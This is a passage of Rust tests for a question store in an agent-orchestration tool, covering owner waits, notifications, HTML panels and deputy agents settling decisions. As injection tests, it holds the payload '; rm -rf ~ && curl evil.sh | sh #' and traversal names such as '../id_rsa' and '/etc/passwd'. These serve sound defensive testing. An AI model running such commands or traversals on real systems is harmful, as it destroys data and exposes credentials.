2886 fn open_questions_are_listed_before_answered_ones() {
2887 let (_dir, s) = store();
2888 let mut old_open = choice_question();
2891 old_open.id = "20260101-000001-aaaa".to_owned();
2892 let mut new_open = choice_question();
2893 new_open.id = "20260101-000002-bbbb".to_owned();
2894 let mut answered = choice_question();
2895 answered.id = "20260101-000003-cccc".to_owned();
2896 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2897 for q in [&mut old_open, &mut new_open, &mut answered] {
2898 s.put(q).unwrap();
2899 }
2900
2901 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2902 assert_eq!(
2903 ids,
2904 [
2905 "20260101-000002-bbbb",
2906 "20260101-000001-aaaa",
2907 "20260101-000003-cccc"
2908 ],
2909 "what has stopped work comes first; history sorts underneath"
2910 );
2911 assert_eq!(s.count_open(), 2);
2912 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2913 assert!(s.open_for("some-other-run").is_empty());
2914 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2916 assert!(s.get("20260101-000002-bbbb").is_ok());
2917 assert!(s.resolve_id("nope").is_err());
2918 assert!(
2919 s.revision() > 0,
2920 "the store's mtime drives the phone's polling"
2921 );
2922 }
2923
2924 #[test]
2925 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2926 let (_dir, s) = store();
2927 let mut good = choice_question();
2928 s.put(&mut good).unwrap();
2929 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2931 let future = serde_json::json!({
2932 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2933 "seat": "s", "summary": "?", "detail": "", "choices": [],
2934 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2935 "answered_at": null, "answer": null,
2936 });
2937 std::fs::write(
2938 s.path_of("20260101-000010-beef"),
2939 serde_json::to_string(&future).unwrap(),
2940 )
2941 .unwrap();
2942
2943 let listed = s.list();
2944 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2945 assert_eq!(listed[0].id, good.id);
2946 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2948 assert!(e.contains("schema"), "{e}");
2949 }
2950
2951 #[tokio::test]
2952 async fn the_wait_returns_the_answer_another_process_wrote() {
2953 let (dir, s) = store();
2958 let mut q = choice_question();
2959 let id = q.id.clone();
2960 let writer = Questions::at(dir.path().join("questions"));
2961 let handle = tokio::spawn(async move {
2962 tokio::time::sleep(Duration::from_millis(30)).await;
2963 let mut fresh = writer.get(&id).expect("the question was filed first");
2964 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2965 writer.put(&mut fresh).unwrap();
2966 });
2967
2968 let got = wait_for_owner(
2969 &mut q,
2970 &s,
2971 &quiet(),
2972 Duration::from_secs(5),
2973 Duration::from_millis(10),
2974 )
2975 .await
2976 .unwrap();
2977
2978 handle.await.unwrap();
2979 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2980 assert_eq!(
2981 q.status,
2982 QuestionStatus::Answered,
2983 "the caller's copy is refreshed from the answering process's record"
2984 );
2985 assert!(q.answered_at.is_some());
2986 }
2987
2988 #[tokio::test]
2989 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2990 let (_dir, s) = store();
2991 let mut q = choice_question();
2992
2993 let got = wait_for_owner(
2994 &mut q,
2995 &s,
2996 &quiet(),
2997 Duration::from_millis(60),
2998 Duration::from_millis(10),
2999 )
3000 .await
3001 .unwrap();
3002
3003 assert_eq!(
3004 got,
3005 Wait::Abandoned,
3006 "a slow human is not an error; the run parks"
3007 );
3008 assert_eq!(q.status, QuestionStatus::Abandoned);
3009 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
3010 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
3011 assert!(
3012 on_disk.detail.contains("Abandoned:"),
3013 "why nobody answered belongs with the question: {}",
3014 on_disk.detail
3015 );
3016 assert!(on_disk.resolution().is_none());
3017 assert_eq!(s.count_open(), 0);
3018 }
3019
3020 #[tokio::test]
3021 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
3022 let (_dir, s) = store();
3027 let mut q = choice_question();
3028 s.put(&mut q).unwrap();
3029
3030 let got = wait_loop(
3031 &mut q,
3032 &s,
3033 Duration::from_secs(3600),
3034 Duration::from_millis(30),
3035 Duration::from_millis(10),
3036 )
3037 .await
3038 .unwrap();
3039
3040 assert_eq!(
3041 got,
3042 Wait::Pending,
3043 "the clock on this call ran out, not the owner's patience"
3044 );
3045 assert_eq!(
3046 q.status,
3047 QuestionStatus::Open,
3048 "a slice expiring must never abandon the question"
3049 );
3050 let on_disk = s.get(&q.id).expect("still on disk, still open");
3051 assert_eq!(
3052 on_disk.status,
3053 QuestionStatus::Open,
3054 "nothing about the record changed just because this call gave up"
3055 );
3056 }
3057
3058 #[tokio::test]
3059 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
3060 let (dir, s) = store();
3065 let mut q = choice_question();
3066 s.put(&mut q).unwrap();
3067
3068 let first = wait_loop(
3069 &mut q,
3070 &s,
3071 Duration::from_secs(3600),
3072 Duration::from_millis(30),
3073 Duration::from_millis(10),
3074 )
3075 .await
3076 .unwrap();
3077 assert_eq!(first, Wait::Pending);
3078
3079 let id = q.id.clone();
3080 let writer = Questions::at(dir.path().join("questions"));
3081 let mut fresh = writer.get(&id).unwrap();
3082 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
3083 writer.put(&mut fresh).unwrap();
3084
3085 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
3090 .await
3091 .unwrap();
3092 assert_eq!(second, Wait::Answered("Redis".to_owned()));
3093 assert_eq!(q.status, QuestionStatus::Answered);
3094 }
3095
3096 #[tokio::test]
3097 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
3098 let (dir, s) = store();
3108 let mut q = choice_question();
3109 s.put(&mut q).unwrap();
3110
3111 let first = wait_loop(
3112 &mut q,
3113 &s,
3114 Duration::from_secs(3600),
3115 Duration::from_millis(30),
3116 Duration::from_millis(10),
3117 )
3118 .await
3119 .unwrap();
3120 assert_eq!(first, Wait::Pending);
3121
3122 let id = q.id.clone();
3124 let writer = Questions::at(dir.path().join("questions"));
3125 let mut fresh = writer.get(&id).unwrap();
3126 fresh.say("why not Postgres?").unwrap();
3127 writer.put(&mut fresh).unwrap();
3128
3129 let mut resumed = s.get(&id).unwrap();
3133 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
3134 .await
3135 .unwrap();
3136 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
3137 assert_eq!(
3138 resumed.status,
3139 QuestionStatus::Open,
3140 "talking back is not a decision; the question stays open"
3141 );
3142 }
3143
3144 #[tokio::test]
3145 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
3146 let (dir, s) = store();
3150 let broken = config::Notify {
3151 command: vec![
3152 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
3153 "{summary}".to_owned(),
3154 ],
3155 };
3156 let mut q = choice_question();
3157 assert!(
3158 notify(&broken, &q).await.is_err(),
3159 "the caller is told; it decides that it does not matter"
3160 );
3161
3162 let id = q.id.clone();
3163 let writer = Questions::at(dir.path().join("questions"));
3164 let handle = tokio::spawn(async move {
3165 tokio::time::sleep(Duration::from_millis(30)).await;
3166 let mut fresh = writer.get(&id).unwrap();
3167 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
3168 writer.put(&mut fresh).unwrap();
3169 });
3170 let got = wait_for_owner(
3171 &mut q,
3172 &s,
3173 &broken,
3174 Duration::from_secs(5),
3175 Duration::from_millis(10),
3176 )
3177 .await
3178 .unwrap();
3179 handle.await.unwrap();
3180 assert_eq!(got, Wait::Answered("Redis".to_owned()));
3181
3182 assert!(notify(&quiet(), &q).await.is_ok());
3184 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
3185 }
3186
3187 #[tokio::test]
3188 async fn external_question_notification_names_the_supported_response_path() {
3189 let dir = tempfile::tempdir().unwrap();
3190 let path = dir.path().join("page");
3191 let cmd = config::Notify {
3192 command: vec![
3193 "sh".into(),
3194 "-c".into(),
3195 "printf '%s' \"$1\" > \"$2\"".into(),
3196 "notify".into(),
3197 "{summary}".into(),
3198 path.to_string_lossy().into_owned(),
3199 ],
3200 };
3201 let q = choice_question();
3202 notify(&cmd, &q).await.unwrap();
3203 let sent = std::fs::read_to_string(&path).unwrap();
3204 assert!(sent.starts_with("Question "));
3205 assert!(sent.contains(&q.summary));
3206 assert!(sent.contains(&format!("magi answer {}", q.id)));
3207 notify_text(&cmd, "", "Informational report. No reply needed.")
3208 .await
3209 .unwrap();
3210 assert_eq!(
3211 std::fs::read_to_string(&path).unwrap(),
3212 "Informational report. No reply needed."
3213 );
3214 }
3215
3216 #[test]
3217 fn external_notifications_and_questions_have_distinct_destinations() {
3218 assert_eq!(
3219 question_url("https://example.invalid/"),
3220 "https://example.invalid/#/questions"
3221 );
3222 assert_eq!(
3223 view_url("https://example.invalid/", "notifications"),
3224 "https://example.invalid/#/notifications"
3225 );
3226 assert_eq!(view_url("", "notifications"), "");
3227 assert_eq!(
3228 view_url("https://example.invalid/#/queue", "notifications"),
3229 "https://example.invalid/#/queue"
3230 );
3231 }
3232
3233 #[test]
3234 fn notification_arguments_are_substituted_and_never_a_shell_string() {
3235 let mut q = choice_question();
3236 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
3237 let template = [
3238 "ntfy".to_owned(),
3239 "publish".to_owned(),
3240 "--click".to_owned(),
3241 "{url}".to_owned(),
3242 "--title".to_owned(),
3243 "magi {run} needs you".to_owned(),
3244 "{summary}".to_owned(),
3245 ];
3246 let argv: Vec<String> = template
3247 .iter()
3248 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
3249 .collect();
3250
3251 assert_eq!(
3252 argv,
3253 [
3254 "ntfy",
3255 "publish",
3256 "--click",
3257 "http://100.64.0.1:7777/#/questions",
3258 "--title",
3259 "magi 20260902-201256-9fb7 needs you",
3260 "; rm -rf ~ && curl evil.sh | sh #",
3261 ],
3262 "the shell metacharacters are one argument's contents, not syntax"
3263 );
3264
3265 q.summary = "should {url} be configurable?".to_owned();
3268 assert_eq!(
3269 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
3270 "should {url} be configurable?"
3271 );
3272 assert_eq!(
3274 expand("{title}: {run}", &q.run, &q.summary, ""),
3275 "{title}: 20260902-201256-9fb7"
3276 );
3277 assert_eq!(
3278 expand("no placeholders", &q.run, &q.summary, "http://x"),
3279 "no placeholders"
3280 );
3281 }
3282
3283 #[test]
3284 fn the_notification_link_lands_on_the_view_that_can_answer() {
3285 assert_eq!(
3286 question_url("http://100.64.0.1:7777"),
3287 "http://100.64.0.1:7777/#/questions"
3288 );
3289 assert_eq!(
3290 question_url("http://100.64.0.1:7777/"),
3291 "http://100.64.0.1:7777/#/questions"
3292 );
3293 assert_eq!(
3295 question_url("http://magi.ts.net/#/runs"),
3296 "http://magi.ts.net/#/runs"
3297 );
3298 assert_eq!(question_url(" "), "");
3300 }
3301
3302 fn panelled() -> Question {
3304 let mut q = choice_question();
3305 q.id = "20260903-014455-ab12".to_owned();
3306 q
3307 }
3308
3309 #[test]
3310 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
3311 let (dir, s) = store();
3312 let work = dir.path().join("worktree");
3313 std::fs::create_dir_all(&work).unwrap();
3314 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
3315 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
3316
3317 let mut q = panelled();
3318 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
3319 s.put_panel(
3320 &mut q,
3321 html,
3322 &[work.join("table.png"), work.join("diff.svg")],
3323 )
3324 .unwrap();
3325 s.put(&mut q).unwrap();
3326
3327 assert!(q.panel);
3328 assert_eq!(
3329 q.assets,
3330 ["diff.svg", "table.png"],
3331 "sorted, not in the order the agent happened to pass them"
3332 );
3333 assert_eq!(
3334 s.panel_html(&q.id).as_deref(),
3335 Some(html),
3336 "the html is stored byte for byte; the agent authored the markup"
3337 );
3338 assert_eq!(
3339 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
3340 Some(&b"<svg/>"[..])
3341 );
3342
3343 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
3345 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
3346 assert_eq!(json["panel"], true);
3347 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
3348 let back = s.get(&q.id).unwrap();
3349 assert!(back.panel);
3350 assert_eq!(back.assets, q.assets);
3351
3352 std::fs::remove_dir_all(&work).unwrap();
3355 assert_eq!(
3356 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
3357 Some(&b"\x89PNG"[..]),
3358 "a referenced asset would be gone with the worktree"
3359 );
3360 }
3361
3362 #[test]
3363 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
3364 let (dir, s) = store();
3365 let mut q = panelled();
3366 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
3367 s.put(&mut q).unwrap();
3368
3369 let secret = "this must never reach the browser";
3372 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
3373 assert_eq!(
3374 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
3375 secret,
3376 "the traversal is real: the operating system resolves this path \
3377 happily, which is why the name has to be refused before the join"
3378 );
3379
3380 let long = "x".repeat(200);
3381 for name in [
3382 "..",
3383 "../id_rsa",
3384 "..\\id_rsa",
3385 "sub/../id_rsa",
3386 "/",
3387 "\\",
3388 "/etc/passwd",
3389 "C:\\Windows\\win.ini",
3390 "",
3391 ".hidden",
3392 ".",
3393 long.as_str(),
3394 ] {
3395 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
3396 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
3397 assert!(
3398 e.contains("not a panel file name"),
3399 "`{name}` must be refused as a name, not attempted: {e}"
3400 );
3401 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
3402 }
3403 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
3406
3407 let hidden = dir.path().join(".hidden");
3410 std::fs::write(&hidden, "x").unwrap();
3411 let e = s
3412 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
3413 .unwrap_err()
3414 .to_string();
3415 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
3416 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
3417 assert!(q.assets.is_empty());
3418 }
3419
3420 #[test]
3421 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
3422 let (dir, s) = store();
3423 let mut q = panelled();
3424 s.put(&mut q).unwrap();
3425
3426 let big = dir.path().join("recording.png");
3429 std::fs::File::create(&big)
3430 .unwrap()
3431 .set_len(PANEL_MAX_BYTES)
3432 .unwrap();
3433
3434 let html = "<p>see the recording</p>";
3435 let total = PANEL_MAX_BYTES + html.len() as u64;
3436 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
3437 assert!(
3438 e.contains(&PANEL_MAX_BYTES.to_string()),
3439 "the cap is named so the agent knows the limit: {e}"
3440 );
3441 assert!(
3442 e.contains(&total.to_string()),
3443 "the actual size is named so the agent knows by how much: {e}"
3444 );
3445
3446 assert!(!q.panel);
3447 assert!(q.assets.is_empty());
3448 let left: Vec<String> = std::fs::read_dir(s.root())
3449 .unwrap()
3450 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
3451 .collect();
3452 assert_eq!(
3453 left,
3454 [format!("{}.json", q.id)],
3455 "a refused panel leaves neither a directory nor scratch: {left:?}"
3456 );
3457 }
3458
3459 #[test]
3460 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
3461 let (dir, s) = store();
3462 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
3463 std::fs::create_dir_all(&before).unwrap();
3464 std::fs::create_dir_all(&after).unwrap();
3465 std::fs::write(before.join("diff.png"), "before").unwrap();
3466 std::fs::write(after.join("diff.png"), "after").unwrap();
3467
3468 let mut q = panelled();
3469 let e = s
3470 .put_panel(
3471 &mut q,
3472 "<p>x</p>",
3473 &[before.join("diff.png"), after.join("diff.png")],
3474 )
3475 .unwrap_err()
3476 .to_string();
3477 assert!(e.contains("diff.png"), "{e}");
3478 assert!(
3479 e.contains("before") && e.contains("after"),
3480 "both sources are named, because the fix is to rename one: {e}"
3481 );
3482 assert!(!q.panel);
3483 assert!(!s.panel_dir(&q.id).exists());
3484 }
3485
3486 #[test]
3487 fn concurrent_questions_keep_independent_records_and_panels_with_identical_entropy() {
3488 let (_dir, s) = store();
3489 let barrier = std::sync::Barrier::new(8);
3490 let ids = std::thread::scope(|scope| {
3491 let handles: Vec<_> = (0..8)
3492 .map(|worker| {
3493 let s = &s;
3494 let barrier = &barrier;
3495 scope.spawn(move || {
3496 barrier.wait();
3497 (0..16)
3498 .map(|index| {
3499 let mut q = choice_question();
3500 q.id = new_id_at("20261020-224346", 0xf8ef);
3503 q.summary = format!("worker {worker}, question {index}");
3504 assert!(valid_asset_name(&q.id));
3505 assert_eq!(q.short(), "f8ef");
3506 let html = format!("<p>{}</p>", q.summary);
3507 s.put_panel(&mut q, &html, &[]).unwrap();
3508 s.put(&mut q).unwrap();
3509 (q.id, q.summary, html)
3510 })
3511 .collect::<Vec<_>>()
3512 })
3513 })
3514 .collect();
3515 handles
3516 .into_iter()
3517 .flat_map(|handle| handle.join().unwrap())
3518 .collect::<Vec<_>>()
3519 });
3520 assert_eq!(s.list().len(), ids.len());
3521 for (id, summary, html) in ids {
3522 assert_eq!(s.get(&id).unwrap().summary, summary);
3523 assert_eq!(s.panel_html(&id).as_deref(), Some(html.as_str()));
3524 }
3525 }
3526
3527 #[test]
3528 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3529 let (dir, s) = store();
3530 std::fs::write(dir.path().join("old.png"), "old").unwrap();
3531 std::fs::write(dir.path().join("new.png"), "new").unwrap();
3532
3533 let mut q = panelled();
3534 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3535 .unwrap();
3536 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3537 .unwrap();
3538
3539 assert_eq!(q.assets, ["new.png"]);
3540 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3541 assert!(
3542 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3543 "an asset from the first attempt would show a mix of two answers"
3544 );
3545
3546 s.drop_panel(&q.id).unwrap();
3547 assert!(s.panel_html(&q.id).is_none());
3548 assert!(!s.panel_dir(&q.id).exists());
3549 s.drop_panel(&q.id)
3550 .expect("dropping a panel that is already gone is the desired state");
3551 }
3552
3553 #[test]
3554 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3555 let (_dir, s) = store();
3556 let mut q = panelled();
3557 s.put(&mut q).unwrap();
3558
3559 assert!(!q.panel);
3560 assert!(s.panel_html(&q.id).is_none());
3561 assert!(
3562 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3563 "a missing file is a 404 for the caller, not a failure of the store"
3564 );
3565 let json = serde_json::to_value(&q).unwrap();
3566 assert_eq!(json["panel"], false);
3567 assert_eq!(json["assets"], serde_json::json!([]));
3568
3569 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
3572 assert!(e.contains("empty panel"), "{e}");
3573 assert!(!s.panel_dir(&q.id).exists());
3574 }
3575
3576 #[test]
3577 fn a_question_written_before_panels_existed_still_deserialises() {
3578 let (_dir, s) = store();
3579 std::fs::create_dir_all(s.root()).unwrap();
3580 let id = "20260902-231501-ab12";
3581 let body = r#"{
3583 "schema": 1,
3584 "id": "20260902-231501-ab12",
3585 "run": "20260902-201256-9fb7",
3586 "node": "implement",
3587 "seat": "impl-A",
3588 "summary": "Which storage backend should the cache use?",
3589 "detail": "Both are already dependencies.",
3590 "choices": ["SQLite", "Redis"],
3591 "status": "open",
3592 "asked_at": "2026-09-02T23:15:01Z",
3593 "answered_at": null,
3594 "answer": null
3595}"#;
3596 std::fs::write(s.path_of(id), body).unwrap();
3597
3598 let q = s.get(id).unwrap();
3599 assert!(
3600 !q.panel,
3601 "an absent field means no panel, not a parse error"
3602 );
3603 assert!(q.assets.is_empty());
3604 assert_eq!(q.schema, 1);
3609 assert!(q.thread.is_empty());
3610 assert_eq!(
3611 q.answer_timeout, 0,
3612 "an absent field means unrecorded, not a zero-second deadline"
3613 );
3614 assert!(!q.waiting_on_agent());
3615 assert_eq!(q.summary, "Which storage backend should the cache use?");
3616 assert_eq!(
3617 s.list().len(),
3618 1,
3619 "and it is still listed; skipping it would hide an open question"
3620 );
3621 }
3622
3623 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3624 Turn {
3625 who,
3626 body: body.to_owned(),
3627 at,
3628 note: None,
3629 }
3630 }
3631
3632 #[test]
3633 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3634 let mut q = choice_question();
3637 q.thread
3638 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3639 let value = serde_json::to_value(&q.thread[0]).unwrap();
3640 let mut keys: Vec<&str> = value
3641 .as_object()
3642 .unwrap()
3643 .keys()
3644 .map(String::as_str)
3645 .collect();
3646 keys.sort_unstable();
3647 assert_eq!(keys, ["at", "body", "who"]);
3648 assert_eq!(value["who"], "operator");
3649 assert_eq!(value["body"], "why not Postgres?");
3650
3651 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3652 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3653 assert_eq!(parsed.who, Who::Agent);
3654 }
3655
3656 fn approval_question() -> Question {
3657 let mut q = Question::new(
3658 "run".into(),
3659 crate::land::APPROVAL_NODE.into(),
3660 "land".into(),
3661 "Merge?".into(),
3662 String::new(),
3663 vec!["merge".into(), "hold".into()],
3664 );
3665 let mut dep = Deputy::new("brief".into());
3666 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3667 q.deputy = Some(dep);
3668 q
3669 }
3670
3671 #[test]
3672 fn a_deputy_settles_merge_and_recovery_on_the_owners_words_without_a_quote() {
3673 let target = || crate::merge_decision::Target {
3674 pr: "PR 42".into(),
3675 head: "abc".into(),
3676 language: "en".into(),
3677 };
3678 let mut q = approval_question();
3680 q.merge_target = Some(target());
3681 q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3682 .unwrap();
3683 q.settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3684 .unwrap();
3685 assert_eq!(q.resolution().as_deref(), Some(crate::land::APPROVE));
3686 assert_eq!(q.merge_target, Some(target()), "the merge stays head-bound");
3687 for choice in [
3689 crate::land::HOLD,
3690 crate::land::REPAIR,
3691 crate::merge_decision::WITHDRAW,
3692 "reimplement:beta",
3693 ] {
3694 let mut q = approval_question();
3695 q.choices = vec![crate::land::APPROVE.into(), choice.into()];
3696 q.merge_target = Some(target());
3697 q.say("ちょっと待って、そっちでお願い").unwrap();
3698 q.settle_by_deputy("deputy-x", choice, Some("owner chose this"))
3699 .unwrap();
3700 assert_eq!(q.resolution().as_deref(), Some(choice));
3701 }
3702 let mut release = Question::new(
3704 String::new(),
3705 crate::bump::NOTICE_NODE.into(),
3706 "release-watch".into(),
3707 "Release?".into(),
3708 String::new(),
3709 vec![crate::land::APPROVE.into(), crate::land::HOLD.into()],
3710 );
3711 release.deputy = approval_question().deputy;
3712 release.say("リリースしていいよ").unwrap();
3713 release
3714 .settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3715 .unwrap();
3716 assert_eq!(release.resolution().as_deref(), Some(crate::land::APPROVE));
3717 }
3718
3719 #[test]
3720 fn a_deputy_settles_posting_and_destructive_choices_without_a_quote() {
3721 use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3722 for choice in [POST_ORIGINAL, USE_REWRITE] {
3723 let mut q = Question::new(
3724 "run".into(),
3725 ASK_NODE.into(),
3726 ASK_SEAT.into(),
3727 "s".into(),
3728 String::new(),
3729 vec![USE_FALLBACK.into(), choice.into()],
3730 );
3731 q.deputy = approval_question().deputy;
3732 q.say("それでいいよ、投稿して").unwrap();
3733 q.settle_by_deputy("deputy-x", choice, None).unwrap();
3734 assert_eq!(q.resolution().as_deref(), Some(choice));
3735 }
3736 let mut discard = approval_question();
3737 discard.node = "recovery".into();
3738 discard.choices.push("discard".into());
3739 discard.actions.insert("discard".into(), ChoiceAction::Done);
3740 discard.say("おっけーそれぞれ回答してー").unwrap();
3741 discard
3742 .settle_by_deputy("deputy-x", "discard", None)
3743 .unwrap();
3744 assert_eq!(discard.chosen_action(), Some(&ChoiceAction::Done));
3745 }
3746
3747 #[test]
3748 fn hold_may_carry_the_hold_effect_but_no_other_action() {
3749 let mut q = choice_question();
3750 q.choices = vec![crate::land::HOLD.into(), "finish".into()];
3751 q.actions
3752 .insert(crate::land::HOLD.into(), ChoiceAction::Hold);
3753 q.clone()
3754 .answer(Answer::Choice(crate::land::HOLD.into()))
3755 .unwrap();
3756 q.actions
3757 .insert(crate::land::HOLD.into(), ChoiceAction::Done);
3758 assert!(q.answer(Answer::Choice(crate::land::HOLD.into())).is_err());
3759 }
3760
3761 fn settle_ready() -> Question {
3762 let mut q = Question::new(
3763 "task".to_owned(),
3764 "conduct".to_owned(),
3765 "conduct".to_owned(),
3766 "Done?".to_owned(),
3767 String::new(),
3768 vec!["yes".to_owned(), "no".to_owned()],
3769 );
3770 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3771 seat.turns = 1;
3772 let mut dep = Deputy::new("brief".to_owned());
3773 dep.seat = Some(seat);
3774 q.deputy = Some(dep);
3775 q.say("setup done, and file a follow-up").unwrap();
3776 q
3777 }
3778
3779 #[test]
3780 fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3781 let dir = tempfile::TempDir::new().unwrap();
3782 let store = Questions::at(dir.path().join("questions"));
3783 let mut q = settle_ready();
3784 let id = q.id.clone();
3785 store.put(&mut q).unwrap();
3786 store
3787 .update(&id, |q| {
3788 q.settle_by_deputy("deputy-x", "yes", Some(" no follow-up was queued "))
3789 })
3790 .unwrap();
3791 let back = store.get(&id).unwrap();
3792 let turn = back.thread.last().unwrap();
3793 assert_eq!(turn.who, Who::Agent);
3794 assert!(turn.body.starts_with("Settled as `yes`"));
3795 assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3796 assert_eq!(back.thread[0].note, None);
3797 }
3798
3799 #[test]
3800 fn an_empty_or_blank_settle_note_is_no_note() {
3801 for note in [None, Some(""), Some(" \n ")] {
3802 let mut q = settle_ready();
3803 q.settle_by_deputy("deputy-x", "yes", note).unwrap();
3804 assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3805 let json = serde_json::to_string(&q).unwrap();
3806 assert!(!json.contains("\"note\""), "no key when there is none");
3807 }
3808 }
3809
3810 #[test]
3811 fn a_refused_settle_leaves_no_note_behind() {
3812 let mut q = settle_ready();
3813 let before = q.thread.clone();
3814 assert!(q.settle_by_deputy("deputy-x", "maybe", Some("n")).is_err());
3815 assert!(
3816 q.settle_by_deputy("someone-else", "yes", Some("n"))
3817 .is_err()
3818 );
3819 assert_eq!(q.thread, before);
3820 assert_eq!(q.status, QuestionStatus::Open);
3821 }
3822
3823 #[test]
3824 fn a_turn_written_before_notes_existed_still_reads() {
3825 let t: Turn =
3826 serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3827 .unwrap();
3828 assert_eq!(t.note, None);
3829 }
3830
3831 #[test]
3832 fn a_deputy_settles_only_its_own_open_question_on_an_offered_choice() {
3833 let mut q = Question::new(
3834 "task".to_owned(),
3835 "conduct".to_owned(),
3836 "conduct".to_owned(),
3837 "Done?".to_owned(),
3838 String::new(),
3839 vec!["yes".to_owned(), "no".to_owned()],
3840 );
3841 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3842 seat.turns = 1;
3843 let mut dep = Deputy::new("brief".to_owned());
3844 dep.seat = Some(seat);
3845 q.deputy = Some(dep);
3846 q.say("setup done, go ahead").unwrap();
3847
3848 assert!(q.settle_by_deputy("someone-else", "yes", None).is_err());
3849 assert!(q.settle_by_deputy("deputy-x", "maybe", None).is_err());
3850 let mut routed = q.clone();
3851 routed.routed_task = Some("task".into());
3852 assert!(
3853 routed.settle_by_deputy("deputy-x", "yes", None).is_err(),
3854 "a routed decision belongs to the task chat"
3855 );
3856 assert_eq!(q.status, QuestionStatus::Open);
3857
3858 q.settle_by_deputy("deputy-x", "yes", None).unwrap();
3859 assert_eq!(q.status, QuestionStatus::Answered);
3860 assert_eq!(q.resolution().as_deref(), Some("yes"));
3861 let last = q.thread.last().unwrap();
3862 assert_eq!(last.who, Who::Agent);
3863 assert!(last.body.starts_with("Settled as `yes`"));
3864 let turns = q.thread.len();
3865 assert!(
3866 q.settle_by_deputy("deputy-x", "no", None).is_err(),
3867 "a settled question is not settled twice"
3868 );
3869 assert_eq!(q.thread.len(), turns);
3870 }
3871
3872 #[test]
3873 fn old_answer_evidence_still_loads_and_survives_a_re_save() {
3874 let q = choice_question();
3875 let mut v = serde_json::to_value(&q).unwrap();
3876 v["answer_authority"] = serde_json::json!({
3877 "talk": "talk", "turn": 0, "message": 0,
3878 "instruction": "id: use my text fp\nA title",
3879 "instruction_fingerprint": "f", "recommendation_turn": null,
3880 "recommendation_fingerprint": null, "question": q.id, "choice": "SQLite",
